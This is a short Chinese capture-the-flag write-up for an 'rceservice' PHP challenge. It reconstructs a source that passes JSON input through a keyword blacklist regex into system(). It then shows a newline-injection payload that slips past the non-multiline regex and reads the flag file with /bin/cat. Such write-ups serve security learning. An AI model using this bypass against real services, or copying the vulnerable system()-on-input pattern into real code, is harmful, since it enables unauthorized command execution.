
需要输入JSON格式的命令
{"cmd":"ls"}

再试其他命令就不行了
{"cmd":"cat index.php"}

看来是有过滤
“手搓”一个源码
-
- putenv('PATH=/home/rceservice/jail');
-
- if (isset($_REQUEST['cmd'])) {
- $json = $_REQUEST['cmd'];
-
- if (!is_string($json)) {
- echo 'Hacking attempt detected
'; - } else if (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
- echo 'Hacking attempt detected
'; - } else {
- echo 'Attempting to run command:
'; - $cmd = json_decode($json, true)['cmd'];
- if ($cmd !== NULL) {
- system($cmd);
- } else {
- echo 'Invalid input';
- }
- echo '
'; - }
- }
-
- ?>
开头设置了环境变量,所以我们读文件的时候要用绝对路径
然后下面就是一个过滤,过滤了很多,匹配开头和结尾,但不多行匹配

因为它改了环境变量,所以我们只能用绝对路径来调用系统命令
Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用
?cmd={%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0a}